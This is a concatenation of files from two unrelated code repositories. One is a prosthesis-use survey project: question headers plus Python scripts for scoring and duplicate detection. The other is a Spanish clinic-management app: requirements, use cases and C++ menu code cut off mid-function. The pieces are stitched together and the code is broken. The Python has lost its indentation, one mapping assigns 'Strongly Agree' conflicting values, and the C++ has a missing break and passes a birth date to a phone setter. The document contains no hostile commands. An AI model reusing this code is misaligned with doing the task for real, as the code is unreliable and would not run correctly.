Do you usually perform this activity utilizing your {{ Q19 }}?.6
Shave using a shaver/razor
Do you usually perform this activity utilizing your {{ Q19 }}?.7
Other important Dressing & Self Care Tasks that your {{ Q19 }} helps you accomplish (separate Tasks with a comma) - Open-Ended Response
Use a mobile phone
Do you usually perform this activity utilizing your {{ Q19 }}?.8
Carry laundry basket or large box
Do you usually perform this activity utilizing your {{ Q19 }}?.9
Open an envelope
Do you usually perform this activity utilizing your {{ Q19 }}?.10
Use scissors (to either hold scissors or the object being cut)
Do you usually perform this activity utilizing your {{ Q19 }}?.11
Fold bath towel
Do you usually perform this activity utilizing your {{ Q19 }}?.12
Use a hammer and nail
Do you usually perform this activity utilizing your {{ Q19 }}?.13
Other important Home & Personal Tasks that your {{ Q19 }} helps you accomplish (separate Tasks with a comma) - Open-Ended Response
Stir food in a bowl, holding either the bowl or the utensil
Do you usually perform this activity utilizing your {{ Q19 }}?.14
Pour a drink from a soda can or plastic bottle
Do you usually perform this activity utilizing your {{ Q19 }}?.15
Use fork or spoon
Do you usually perform this activity utilizing your {{ Q19 }}?.16
Drink from a paper or plastic cup
Do you usually perform this activity utilizing your {{ Q19 }}?.17
Cut meat with knife and fork
Do you usually perform this activity utilizing your {{ Q19 }}?.18
Other important Eating & Kitchen Tasks that your {{ Q19 }} helps you accomplish (separate Tasks with a comma) - Open-Ended Response
Using a keyboard to type
Do you usually perform this activity utilizing your {{ Q19 }}?.19
Grasping objects/tools in a very wet environment
Do you usually perform this activity utilizing your {{ Q19 }}?.20
Grasping objects/tools in a very dirty and/or dusty environment
Do you usually perform this activity utilizing your {{ Q19 }}?.21
Very fine grasp, using finger tips
Do you usually perform this activity utilizing your {{ Q19 }}?.22
Other important Work Tasks that your {{ Q19 }} helps you accomplish (separate Tasks with a comma) - Open-Ended Response
Participate in arts & crafts, sewing, etc.
Participate in arts & crafts, sewing, etc. - Please list activities, separated by commas
Do you usually perform these activities utilizing your {{ Q19 }}?
Participate in hobbies (photography, reading, etc.)
Participate in hobbies (photography, reading, etc.) - Please list activities, separated by commas
Do you usually perform these activities utilizing your {{ Q19 }}?
Go riding (e.g., bicycle, motorcycle, ATV, horse, etc.)
Go riding (e.g., bicycle, motorcycle, ATV, horse, etc.) - Please list activities, separated by commas
Do you usually perform these activities utilizing your {{ Q19 }}?.1
Participate in outdoor activities (e.g., camping, fishing, hunting, etc.)
Participate in outdoor activities (e.g., camping, fishing, hunting, etc.) - Please list activities, separated by commas
Do you usually perform these activities utilizing your {{ Q19 }}?.2
Perform home improvement projects (e.g., using power tools, hand tools, moving materials, etc.)
Perform home improvement projects (e.g., using power tools, hand tools, moving materials, etc.) - Please list activities, separated by commas
Do you usually perform these activities utilizing your {{ Q19 }}?.3
Other Leisure Activities that your {{ Q19 }} helps you accomplish (separate Activities with a comma) - Open-Ended Response
Please rate the importance to your independence of performing each task without help - Tie shoe laces
Please rate the importance to your independence of performing each task without help - Attach end of zipper and zip jacket
Please rate the importance to your independence of performing each task without help - Button shirt with front buttons
Please rate the importance to your independence of performing each task without help - Put on socks
Please rate the importance to your independence of performing each task without help - Brush/comb hair
Please rate the importance to your independence of performing each task without help - Put toothpaste on toothbrush
Please rate the importance to your independence of performing each task without help - Brush teeth
Please rate the importance to your independence of performing each task without help - Shave using shaver/razor
Please rate the importance to your independence of performing each task without help - Use a mobile phone
Please rate the importance to your independence of performing each task without help - Carry laundry basket or large box
Please rate the importance to your independence of performing each task without help - Open an envelope
Please rate the importance to your independence of performing each task without help - Use scissors
Please rate the importance to your independence of performing each task without help - Fold bath towel
Please rate the importance to your independence of performing each task without help - Use a hammer and nail
Please rate the importance to your independence of performing each task without help - Stir food in a bowl
Please rate the importance to your independence of performing each task without help - Pour a drink from a soda can or plastic bottle
Please rate the importance to your independence of performing each task without help - Use fork or spoon
Please rate the importance to your independence of performing each task without help - Drink from a paper or plastic cup
Please rate the importance to your independence of performing each task without help - Cut meat with knife and fork
Please rate the importance to your independence of performing each task without help - Using a keyboard to type
Please rate the importance to your independence of performing each task without help - Grasping objects/tools in a very wet environment
Please rate the importance to your independence of performing each task without help - Grasping objects/tools in a very dirty and/or dusty environment
Please rate the importance to your independence of performing each task without help - Very fine grasp, using finger tips
Please rate the importance to your independence of performing each activity without help - Participate in arts & crafts
Please rate the importance to your independence of performing each activity without help - Participate in hobbies
Please rate the importance to your independence of performing each activity without help - Go riding
Please rate the importance to your independence of performing each activity without help - Participate in outdoor activities
Please rate the importance to your independence of performing each activity without help - Perform home improvement projects
My {{ Q19 }} is dependable
I feel I was trained well to use my {{ Q19 }}
I feel quite comfortable wearing my {{ Q19 }} in public and social settings
I can easily tolerate the weight of my {{ Q19 }}
I can easily perform the routine care for my {{ Q19 }} (battery care, glove care, cleaning, etc.)
If I use my {{ Q19 }}, I can easily perform perform most of the tasks I need to
Tasks I would like to perform with my {{ Q19 }} but cannot (separate Tasks with a comma) - Open-Ended Response
If you use a <em>Secondary</em> Terminal Device, select "Yes"; If not, select "No".
Tie Shoe Laces with your <em>Secondary</em> Terminal Device [{{ Q22 }}]
Do you usually perform this activity utilizing your {{ Q22 }}?
Attach end of zipper and zip jacket.1
Do you usually perform this activity utilizing your {{ Q22 }}?.1
Button shirt with front buttons.1
Do you usually perform this activity utilizing your {{ Q22 }}?.2
Put on socks.1
Do you usually perform this activity utilizing your {{ Q22 }}?.3
Brush/comb hair.1
Do you usually perform this activity utilizing your {{ Q22 }}?.4
Put toothpaste on toothbrush.1
Do you usually perform this activity utilizing your {{ Q22 }}?.5
Brush teeth.1
Do you usually perform this activity utilizing your {{ Q22 }}?.6
Shave using a shaver/razor.1
Do you usually perform this activity utilizing your {{ Q22 }}?.7
Other important Dressing & Self Care Tasks that your {{ Q22 }} helps you accomplish (separate Tasks with a comma) - Open-Ended Response
Use a mobile phone.1
Do you usually perform this activity utilizing your {{ Q22 }}?.8
Carry laundry basket or large box.1
Do you usually perform this activity utilizing your {{ Q22 }}?.9
Open an envelope.1
Do you usually perform this activity utilizing your {{ Q22 }}?.10
Use scissors (to either hold scissors or the object being cut).1
Do you usually perform this activity utilizing your {{ Q22 }}?.11
Fold bath towel.1
Do you usually perform this activity utilizing your {{ Q22 }}?.12
Use a hammer and nail.1
Do you usually perform this activity utilizing your {{ Q22 }}?.13
Other important Home & Personal Tasks that your {{ Q22 }} helps you accomplish (separate Tasks with a comma) - Open-Ended Response
Stir food in a bowl, holding either the bowl or the utensil.1
Do you usually perform this activity utilizing your {{ Q22 }}?.14
Pour a drink from a soda can or plastic bottle
Do you usually perform this activity utilizing your {{ Q22 }}?.15
Use fork or spoon.1
Do you usually perform this activity utilizing your {{ Q22 }}?.16
Drink from a paper or plastic cup.1
Do you usually perform this activity utilizing your {{ Q22 }}?.17
Cut meat with knife and fork.1
Do you usually perform this activity utilizing your {{ Q22 }}?.18
Other important Eating & Kitchen Tasks that your {{ Q22 }} helps you accomplish (separate Tasks with a comma) - Open-Ended Response
Using a keyboard to type.1
Do you usually perform this activity utilizing your {{ Q22 }}?.19
Grasping objects/tools in a very wet environment.1
Do you usually perform this activity utilizing your {{ Q22 }}?.20
Grasping objects/tools in a very dirty and/or dusty environment
Do you usually perform this activity utilizing your {{ Q22 }}?.21
Very fine grasp, using finger tips.1
Do you usually perform this activity utilizing your {{ Q22 }}?.22
Other important Work Tasks that your {{ Q22 }} helps you accomplish (separate Tasks with a comma) - Open-Ended Response
Participate in arts & crafts, sewing, etc.
Participate in arts & crafts, sewing, etc. - Please list activities, separated by commas
Do you usually perform these activities utilizing your {{ Q22 }}?
Participate in hobbies (photography, reading, etc.)
Participate in hobbies (photography, reading, etc.) - Please list activities, separated by commas
Do you usually perform these activities utilizing your {{ Q22 }}?.1
Go riding using (e.g., bicycle, motorcycle, ATV, horse, etc.)
Go riding using (e.g., bicycle, motorcycle, ATV, horse, etc.) - Please list activities, separated by commas
Do you usually perform these activities utilizing your {{ Q22 }}?.2
Participate in outdoor activities (e.g., camping, fishing, hunting, etc.).1
Participate in outdoor activities (e.g., camping, fishing, hunting, etc.) - Please list activities, separated by commas.1
Do you usually perform these activities utilizing your {{ Q22 }}?.3
Do home improvement projects (e.g., using power tools, hand tools, moving materials, etc.)
Do home improvement projects (e.g., using power tools, hand tools, moving materials, etc.) - Please list activities, separated by commas
Do you usually perform these activities utilizing your {{ Q22 }}?.4
Other Leisure Activities that my {{ Q22 }} helps me accomplish (separate Activities with a comma) - Open-Ended Response
My {{ Q22 }} is dependable
I feel I was trained well to use my {{ Q22 }}
I feel quite comfortable wearing my {{ Q22 }} in public and social settings
I can easily tolerate the weight of my {{ Q22 }}
I can easily perform the routine care for my {{ Q22 }} (battery care, glove care, cleaning, etc.)
If I use my {{ Q22 }}, I can easily perform perform most of the tasks I need to
Tasks I would like to perform with my {{ Q22 }} but cannot (separate Tasks with a comma) - Open-Ended Response
Overall, rate your preference<br /><br />My <em>Primary</em> TD ({{ Q19 }}) compared to my <em>Secondary</em> TD ({{ Q22 }})
Are you a bilateral wearer (both sides)?
Level of limb loss <span style="color: #0000ff;"><em>(please answer for your </em>NON<em>-dominant side)</em></span>
What type of elbow do you use?.1
What brand of electric elbow (motor-driven) do you use?.1
What brand of electric elbow (motor-driven) do you use? - Other (please specify).1
What brand of body-powered (non-electric) elbow do you use?.1<file_sep>/totalScore.py
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 18 14:40:56 2017
@author: justinlboyer
"""
# this script calculates total raw score and the weighted score
#from fixCategoricalValues import sht1
import numpy as np
from vectorSubsets import importanceFull, taskFull
#from fixValuesCategoricalNoNaN import fixValuesCategoricalNoNaN
def taskScored(df):
df["taskScore"] = df[taskFull].sum(axis=1)
return
def weightedTotalScore(df):
dt = np.dot(df[taskFull],df[importanceFull].transpose())
df["weightedTaskScore"] = np.diag(dt)
return<file_sep>/compareRows.py.bak.py
# -*- coding: utf-8 -*-
"""
Created on Tue Feb 7 12:50:50 2017
@author: samij
"""
# this script find all the rows that have p percent of items in common
#
# Inputs
# df = data frame
# p = percentage of similar data
#
# Outputs
# fraudIndex = the index of the data suspected to be fraudlent
def compareRows(df, p):
# initizalize botDf
columns = df.columns
numR = df.shape[0]
numC = df.shape[1]
index = list(range(0,numR))
boolDf = pd.DataFrame(index=index, columns=columns)
boolDf['Sum']= np.nan
findDf = pd.DataFrame(index=index, columns=columns)
foundSum = pd.Series(index=index)
foundSum.fillna(0, inplace=True)
# add new boolean column that tells us False not a duplicate, or True a duplicate
# dupColumns = columns[10:numC]
# df['is_duplicated'] = df.duplicated(dupColumns)
for i in range(0,numR):
findDf['tempSum'] = np.nan
comRow = df.loc[i,:]
comRow = comRow.to_dict()
comRow = {key: [value] for key, value in comRow.items()}
findDf.loc[i+1:numR,:] = df.loc[i+1:numR,:].isin(comRow)
findDf['tempSum'] = findDf.sum(axis=1)
for j in range(i+1,numR):
if findDf['tempSum'].iloc[j] > foundSum.iloc[j]:
foundSum.iloc[j] = findDf['tempSum'].iloc[j]
foundSum.iloc[i] = findDf['tempSum'].max()
if i%10==0:
print("Iteration {0}, Max sum {1}, row {2}".format(i, foundSum.loc[i+1:numR].max(), foundSum.loc[i+1:numR].idxmax()))
# if foundSum.any() >= p*numC:
# boolDf.loc[i+1:numR,:] = findDf[foundSum>=p*numC].loc[i+1:numR,:]
# boolDf.loc[i,:] = findDf.loc[i,:]
# fraudIndex = boolDf.dropna().index
boolDf = boolDf[foundSum >= p*numC]
return(boolDf, foundSum)
[t1,tix] = compareRows(sht[0:300],0.85)<file_sep>/fixCategoricalValues.py
# -*- coding: utf-8 -*-
"""
Created on Wed Jan 11 11:45:56 2017
@author: justinlboyer
"""
import numpy as np
#from loadData import sht1
#from vectorSubsets import opus, importance, yesNo, isVector
# this script replaces all categorical values with numerical ones
#
# ~~~~ Coding is ~~~~~~
# Cannot Perform = 0
# Choose Not To Perform = np.nan
# Very Difficult = 2
# Slightly Difficult = 3
# Easy = 4
# anythingelse = NA
# ~~~~~~~~~~~`
# Not Important = 0
# Moderately Important = 1
# Very Important = 2
# ~~~~~~~~~~~
# Strongly Disagree = 0
# Disagree = 1
# Agree = 2
# Strongly Agree = 3
def fixValuesCategorical(df,variable):
df[variable] = df[variable].replace("Cannot Perform", 0)
df[variable] = df[variable].replace("Choose Not to Perform", np.nan)
df[variable] = df[variable].replace("Very Difficult", 2)
df[variable] = df[variable].replace("Slightly Difficult", 3)
df[variable] = df[variable].replace("Easy", 4)
df[variable] = df[variable].replace("Not Important", 0)
df[variable] = df[variable].replace("Moderately Important", 1)
df[variable] = df[variable].replace("Very Important", 2)
df[variable] = df[variable].replace("Strongly Agree", 0)
df[variable] = df[variable].replace("Disagree", 1)
df[variable] = df[variable].replace("Agree", 2)
df[variable] = df[variable].replace("Strongly Agree", 3)
df[variable] = df[variable].replace("^[a-zA-Z]\s*", np.nan, regex=True)
df[variable] = df[variable].replace("I'm bald - I don't have hair", np.nan)
return
# fix opus values
#for i in opus:
# fixValuesCategorical(sht1,i)
#
## fix importance values
#for i in importance:
# fixValuesCategorical(sht1,i)
#
## fix all the agree/disagree/etc
#for i in isVector:
# fixValuesCategorical(sht1,i)<file_sep>/sumTasks.py
# -*- coding: utf-8 -*-
"""
Created on Sat Jan 28 10:56:43 2017
@author: justinlboyer
"""
# this script counts the number of tasks the respondent uses their prosthesis for
# and adds a column numberTasksUseProsthesis
#
# Inputs
# df = data frame
# newcolumnkey = a string specifying the name of the newcolumn
# start = where to start subsetting yesN0
# end = where to stop subsetting yesNo
from vectorSubsets import yesNo
def sumTasks(df, newcolumnkey, start, end):
df[newcolumnkey] = df[yesNo[start:end]].sum(axis=1)<file_sep>/driverPopulate.py
# -*- coding: utf-8 -*-
"""
Created on Thu Jan 26 17:19:24 2017
@author: justinlboyer
"""
import pandas as pd
import numpy as np
from scipy import stats
import matplotlib.pyplot as plt
#%matplotlib inline
from driverCleanData import cleanData
[sht, shtNan] = cleanData()<file_sep>/loadData.py
# -*- coding: utf-8 -*-
"""
Created on Sun Jan 8 13:03:33 2017
@author: justinlboyer
"""
import pandas as pd
#import numpy
from vectorSubsets import namesSht1, namesSht2
# load data
originalSht1 = pd.read_csv("./Sheet_1_140217.csv", skiprows=1, index_col=False, names=namesSht1, parse_dates=['StartDate','EndDate'])
sht1NoDup = originalSht1.copy()
originalSht2 = pd.read_csv("./Sheet_2_140217.csv", skiprows=1, index_col=False, names=namesSht2, parse_dates=['StartDate','EndDate'])
sht2NoDup = originalSht2.copy()
#sht1_num = pd.read_csv("./Sheet_1_numeric.csv", skiprows=1, index_col=False, names=namesSht1)
#sht2_num = pd.read_csv("./Sheet_2_numeric.csv", skiprows=1, index_col=False, names=namesSht2)
# remove duplicates
# find duplicate rows
emailDup = originalSht2.EmailAddress[originalSht2.EmailAddress.duplicated(keep='first')].dropna(axis=0)
for i in emailDup:
sht1NoDup = sht1NoDup[sht2NoDup.EmailAddress != i]
sht2NoDup = sht2NoDup[sht2NoDup.EmailAddress != i]
# remove duplicate rows
sht1NoDup = sht1NoDup[~sht2NoDup.EmailAddress.isnull()]
sht2NoDup = sht2NoDup[~sht2NoDup.EmailAddress.isnull()]
# verify no duplicates
numDup = len(sht2NoDup.EmailAddress[sht2NoDup.EmailAddress.duplicated()])
print("There are %d duplicates" % numDup )
sht1 = sht1NoDup.copy()
shtNoNan = sht1NoDup.copy()
sht2 = sht2NoDup.copy()
<file_sep>/driverToClean.py
# -*- coding: utf-8 -*-
"""
Created on Thu Jan 26 17:19:24 2017
@author: justinlboyer
"""
import pandas as pd
import numpy as np
from driverCleanData import cleanData
[cntpDF, sht] = cleanData() | 1ff7a8f606b8110e3b6d2ac529a6e811d49e57c2 | [
"Python"
] | 19 | Python | justinlboyer/MotionControl | 0ea972b00e9b5870388c160b107a5cc5a15fc71d | b9e81941c6fef8495d80cd5646f5c694ef5ca00b |
refs/heads/master | <repo_name>i82gaarj/is-clinica-medica<file_sep>/requisitos.md
## Extracción de requisitos
#### Partes interesadas:
* Secretario
* Desarrolladores
#### Datos que gestiona el sistema:
* Pacientes
* Nombre
* Apellidos
* Fecha de nacimiento
* Teléfono
* Dirección
* Sexo
* Historial médico
* Enfermedades
* Crónica
* Temporal
* Operaciones
* Análisis
* Sangre
* Orina
* Medular
* Alergias
* Historial de citas
* Fecha
* Hora
* Historial de medicación
* Medicamentos tomados con anterioridad
* Receta en vigor
#### Requisitos funcionales (ordenados por prioridad)
1. Añadir nuevo paciente
- DNI
- Nombre
- Apellidos
- Fecha de nacimiento
- Teléfono
- Dirección
- Sexo
2. Eliminar a un paciente
3. Mostrar una lista de los pacientes
4. Buscar a un paciente por DNI
5. Mostrar el historial médico de un paciente
6. Modificar tratamiento de un paciente
7. Modificar datos de un paciente
8. Mostrar todas las citas próximas de un paciente
- Fecha
- Hora
9. Añadir cita a un paciente
- Fecha
- Hora
10. Eliminar cita de un paciente
11. Añadir tratamiento a un paciente
12. Modificar cita de un paciente
13. Mostrar citas de hoy
14. Añadir información al historial de un paciente
15. Mostrar todos los tratamientos de un paciente
16. Eliminar un tratamiento a un paciente
#### Requisitos no funcionales
* Sistema operativo Linux
* Interfaz CLI (línea de comandos)
* Lenguaje de implementación: C++
* Estabilidad del software
* Rendimiento del software
* Pedir confirmación antes de borrar algún dato<file_sep>/casos_de_uso/14_anadir_historial_paciente.md
## Añadir historial médico de un paciente
**ID**: 14
**Descripción**: Se muestra el historial médico de un paciente.
**Actores principales**: Secretario
**Precondiciones**:
* El paciente debe existir en el sistema
**Flujo principal**:
1. El secretario desea ver el historial de un paciente.
1. El secretario busca al paciente.
1. El secretario selecciona la opción de añadir historial.
1. El secretario introduce los datos correspondientes.
1. El sistema guarda el historial.
**Postcondiciones**:
* Ninguna
**Flujos alternativos**:
3.a. Si no existe el paciente, se indicará en un mensaje de error.
<file_sep>/historias_de_usuario/09_anadir_cita_paciente.md
**ID**: 09
**Nombre**: Añadir cita a un paciente
**Prioridad** (de 1 a 10): 7
**Puntos estimado**: 3
**Iteración**: 1
#### Descripción
Como *secretario* quiero *añadir citas a mis pacientes* para *llevar un control de horarios*.
#### Validación
* Se debe mostrar un mensaje de error si la cita coincide con otra.
* Se debe mostrar un mensaje de error si el paciente no existe.<file_sep>/codigo/funciones.cpp
#include "funciones.h"
#include "paciente.h"
#include "gestorFichero.h"
#include "cita.h"
#include "tratamiento.h"
#include <string>
#include <cctype>
#include <iostream>
using namespace std;
// Convierte las letras del DNI a mayúscula
void convertirDNIMayuscula(string &dni){
for (int i = 0; i < dni.length(); i++){
dni[i] = toupper(dni[i]);
}
}
// Validación NIF y NIE
bool validarDNI(string DNI){
if (DNI.length() != 9){
return false;
}
convertirDNIMayuscula(DNI);
// Para el NIE
if (DNI[0] == 'X'){
DNI[0] = '0';
}
else if(DNI[0] == 'Y'){
DNI[0] = '1';
}
else if(DNI[0] == 'Z'){
DNI[0] = '2';
}
// Comprobar que los 8 primeros caracteres son numeros
for (int i = 0; i < (DNI.length() - 1); i++){
if (!isdigit(DNI[i])){
return false;
}
}
char letras[] = "TRWAGMYFPDXBNJZSQVHLCKE";
char letra = letras[stoi(DNI.substr(0,8)) % 23];
if (DNI[8] != letra) {
return false;
}
else{
return true;
}
}
// Validación número de teléfono
bool validarTelefono(string telefono){
if (telefono.length() != 9){
return false;
}
else{
return true;
}
}
void mostrar_menu(){
cout << "Seleccione una de las siguientes opciones: " << endl
<< "1. Añadir paciente." << endl
<< "2. Eliminar paciente." << endl
<< "3. Modificar paciente." << endl
<< "4. Buscar paciente (submenu)." << endl
<< "5. Añadir cita." << endl
<< "6. Mostrar citas de hoy." << endl
<< "7. Mostrar una lista de todos los pacientes" << endl
<< "8. Salir" << endl;
}
void mostrar_menu_paciente(Paciente p){
cout << "DNI " << p.getDNI() << endl
<< "Nombre: " << p.getNombreCompleto() << endl
<< "Sexo: " << p.getSexo() << endl
<< "Fecha Nacimiento: " << p.getFechaNacimiento() << endl
<< "Teléfono: " << p.getTelefono() << endl
<< "Dirección: " << p.getDireccion() << endl;
cout << endl << "SELECCIONE: " << endl
<< "1. Mostrar el historial de " << p.getNombreCompleto() << endl
<< "2. Mostrar citas de " << p.getNombreCompleto() << endl
<< "3. Cancelar cita asignada" << endl
<< "4. Modificar cita asignada" << endl
<< "5. Añadir historial médico a " << p.getNombreCompleto() << endl
<< "6. Asignar tratamiento a " << p.getNombreCompleto() << endl
<< "7. Eliminar un tratamiento" << endl
<< "8. Mostrar tratamientos" << endl
<< "9. Modificar un tratamiento" << endl
<< "10. Volver atrás" << endl;
}
void mostrar_menu_modificar(){
cout << "Seleccione la opción que desea modificar:" << endl
<< "1. DNI." << endl
<< "2. Nombre completo." << endl
<< "3. Fecha de nacimiento." << endl
<< "4. Número de teléfono." << endl
<< "5. Sexo." << endl
<< "6. Dirección." << endl;
}
void case_anadirPaciente(){
string DNI, nombreCompleto, fechaNacimiento, telefono, sexo, direccion;
GestorFichero f;
cin.ignore();
cout << "Introduzca el DNI, debe tener 8 numeros y una letra." << endl
<< "Si es un NIE debe tener una letra, 7 numeros y otra letra." << endl;
getline(cin, DNI);
if (!validarDNI(DNI)){
cout << "DNI no válido. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
convertirDNIMayuscula(DNI);
if (f.buscarPaciente(DNI)){
cout << "El paciente ya existe. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduzca el nombre completo:" << endl;
getline(cin, nombreCompleto);
cout << "Introduzca la fecha de nacimiento (FORMATO DD/MM/AAAA):" << endl;
getline(cin, fechaNacimiento);
while(!validarFecha(fechaNacimiento)){
cout << "Fecha no válida. Introdúzcala de nuevo" << endl;
getline(cin, fechaNacimiento);
}
cout << "Introduzca el número de teléfono, debe tener 9 dígitos:" << endl;
getline(cin, telefono);
while(!validarTelefono(telefono)){
cout << "Número de teléfono no válido. Introdúzcalo de nuevo" << endl;
getline(cin, telefono);
}
cout << "Introduzca el sexo:" << endl;
getline(cin, sexo);
cout << "Introduzca la dirección y localidad:" << endl;
getline(cin, direccion);
Paciente p(DNI, nombreCompleto, fechaNacimiento, stoi(telefono), sexo, direccion);
f.anadirPaciente(p);
cout << "Paciente añadido. Pulse ENTER para continuar..." << endl;
cin.get();
}
void case_eliminarPaciente(){
string DNI;
cout << "Introduzca el DNI del paciente que desea eliminar:" << endl;
cin >> DNI;
convertirDNIMayuscula(DNI);
GestorFichero f("pacientes.txt");
if (f.buscarPaciente(DNI)){
Paciente p = f.getPacienteFromDNI(DNI);
string confirmar;
cout << "¿Seguro que desea eliminar a " << p.getNombreCompleto() << "? [S|N]:" << endl;
cin >> confirmar;
while(confirmar != "S" && confirmar != "s" && confirmar != "N" && confirmar != "n"){
cout << "Por favor, introduca S o N" << endl;
cin >> confirmar;
}
if (confirmar == "S" || confirmar == "s"){
f.eliminarPaciente(DNI);
cout << "Paciente eliminado. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
else if (confirmar == "N" || confirmar == "n"){
cout << "Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
}
else{
cout << "No existe el paciente con ese DNI" << endl;
cin.ignore();
cin.get();
}
}
void case_modificarPaciente(){
string DNI;
cout << "Introduzca el DNI del paciente que desea modificar:" << endl;
cin >> DNI;
convertirDNIMayuscula(DNI);
GestorFichero f;
if(f.buscarPaciente(DNI) == true){
Paciente aux = f.getPacienteFromDNI(DNI);
cout << "Paciente " << aux.getNombreCompleto() << endl;
mostrar_menu_modificar();
int opcion_modificar;
cin >> opcion_modificar;
switch(opcion_modificar) {
case 1:{
string DNI_modificar;
cout << "Introduzca el DNI modificado:" << endl;
getline(cin, DNI_modificar);
aux.setDNI(DNI_modificar);
}break;
case 2:{
string nombreCompleto_modificar;
cout << "Introduzca el nombre completo modificado:" << endl;
getline(cin, nombreCompleto_modificar);
aux.setNombreCompleto(nombreCompleto_modificar);
}break;
case 3:{
string fechaNacimiento_modificar;
cout << "Introduzca la fecha de nacimiento modificada (FORMATO DD/MM/AAAA):" << endl;
getline(cin, fechaNacimiento_modificar);
if (validarFecha(fechaNacimiento_modificar)){
aux.setTelefono(stoi(fechaNacimiento_modificar));
}
else{
cout << "Nueva fecha de nacimiento no válida. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
cin.clear();
break;
}
}break;
case 4:{
string telefono_modificar;
cout << "Introduzca el número de teléfono modificado, debe tener 9 dígitos:" << endl;
getline(cin, telefono_modificar);
if (validarTelefono(telefono_modificar)){
aux.setTelefono(stoi(telefono_modificar));
}
else{
cout << "Nuevo número de teléfono no válido. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
cin.clear();
break;
}
}break;
case 5:{
string sexo_modificar;
cout << "Introduzca el sexo modificado:" << endl;
cin.ignore();
getline(cin, sexo_modificar);
aux.setSexo(sexo_modificar);
}break;
case 6:{
string direccion_modificar;
cout << "Introduzca la dirección modificada:" << endl;
cin.ignore();
getline(cin, direccion_modificar);
aux.setDireccion(direccion_modificar);
}break;
}
f.modificarPaciente(aux, DNI);
}
}
void case_anadirCita(){
cout << "Introduzca el DNI del paciente al que quiere añadir la cita" << endl;
string DNI;
cin >> DNI;
convertirDNIMayuscula(DNI);
GestorFichero f;
if(f.buscarPaciente(DNI) == true){
string fecha, hora, duracion;
cout << "Introduce la fecha: (FORMATO DD/MM/AAAA):" << endl;
cin >> fecha;
if (!validarFecha(fecha)){
cout << "Fecha no válida. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduce la hora (FORMATO HH:MM):" << endl;
cin >> hora;
if (!validarHora(hora)){
cout << "Hora no válida. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
cout << "Introduce la duración en minutos" << endl;
cin >> duracion;
if (!validarDuracion(duracion)){
cout << "Duracion no válida. Operación cancelada. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
return;
}
Cita c(fecha, hora, atoi(duracion.c_str()));
list<Cita> citas = f.getTodasCitas();
for (Cita &cita : citas) {
if (validarCita(c, cita)) {
cout << "Ya hay una cita a esa hora. Pulse ENTER para continuar...";
cin.ignore();
cin.get();
return;
}
}
f.anadirCitaPaciente(DNI, c);
cout << "Cita añadida. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
cin.clear();
}
else{
cout << "El DNI introducido no se corresponde a ningun paciente. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
cin.clear();
}
}
void case_citasHoy(){
cout << "Citas de hoy" << endl;
GestorFichero f;
list <Cita> citas = f.getCitasHoy();
if (citas.size() == 0){
cout << "Hoy no tiene citas. Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
cin.clear();
}
else{
cout << "Hoy tiene las siguientes citas: " << endl;
for(list <Cita>::iterator it = citas.begin(); it != citas.end(); it++){
cout << "Hora: " << it -> getHora() << endl
<< "Duración: " << it -> getDuracion() << " minutos" << endl;
}
cout << "Pulse ENTER para continuar...";
cin.ignore();
cin.get();
cin.clear();
}
}
void case_buscarPaciente(){
string DNI;
cout << "Introduzca DNI: ";
cin >> DNI;
convertirDNIMayuscula(DNI);
GestorFichero f;
if (f.buscarPaciente(DNI) == true){
Paciente aux = f.getPacienteFromDNI(DNI);
int opcion_submenu = 0;
do{
system("clear");
mostrar_menu_paciente(aux);
cin >> opcion_submenu;
cin.ignore();
switch(opcion_submenu){
case 1:{ // Mostrar historial
case_submenu_mostrarHistorial(aux);
}break;
case 2:{ // Mostrar citas
case_submenu_mostrarCitas(aux);
}break;
case 3:{ // Eliminar cita
case_submenu_eliminarCita(aux);
}break;
case 4:{ // Modificar cita
case_submenu_modificarCita(aux);
}break;
case 5:{ // Añadir historial médico
case_submenu_anadirHistorialMedico(aux);
}break;
case 6:{ // Añadir tratamiento
case_submenu_anadirTratamiento(aux);
}break;
case 7:{ // Eliminar tratamiento
case_submenu_eliminarTratamiento(aux);
}break;
case 8:{ // Mostrar tratamientos
case_submenu_mostrarTratamientos(aux);
}break;
case 9:{ // Modificar tratamiento
case_submenu_modificarTratamiento(aux);
}
case 10:{ // Volver atrás
break;
}
default:{
cout << "Opcion no válida. Presione ENTER para continuar...";
cin.ignore();
cin.get();
}break;
}
}while(opcion_submenu != 10);
}
else{
cout << "Paciente con DNI " << DNI << " no existe" << endl;
cin.ignore();
cin.get();
}
}
void case_mostrarListaPacientes(){
GestorFichero f;
list <Paciente> pacientes = f.getTodosPacientes();
if (pacientes.size() == 0){
cout << "No hay ningun paciente todavía" << endl;
cout << "Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
else{
cout << "PACIENTES EN EL SISTEMA: " << endl;
for(Paciente &p : pacientes){
cout << "DNI " << p.getDNI() << " - " << p.getNombreCompleto() << " - " << p.getTelefono() << endl;
}
cout << "Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
}
void case_submenu_mostrarHistorial(Paciente p){
GestorFichero f;
list <ElementoHistorial> historial = f.getHistorialPaciente(p.getDNI());
if (historial.size() == 0){
cout << "El paciente " << p.getNombreCompleto() << " no tiene historial médico" << endl;
cout << "Pulse ENTER para continuar...";
cin.ignore();
cin.get();
}
else{
cout << "Historial médico de " << p.getNombreCompleto() << ": " << endl;
for(list <ElementoHistorial>::iterator it = historial.begin(); it != historial.end(); it++){
cout << it -> getFecha() << endl
<< it -> getObservaciones() << endl;
}
cout << "Pulse ENTER para continuar..." << endl;
cin.ignore();
cin.get();
}
}
void case_submenu_mostrarCitas(Paciente p){
GestorFichero f;
list <Cita> citas = f.getProximasCitasPaciente(p.getDNI());
if (citas.size() == 0){
cout << "No hay citas. Pulse ENTER para continuar..." << endl;
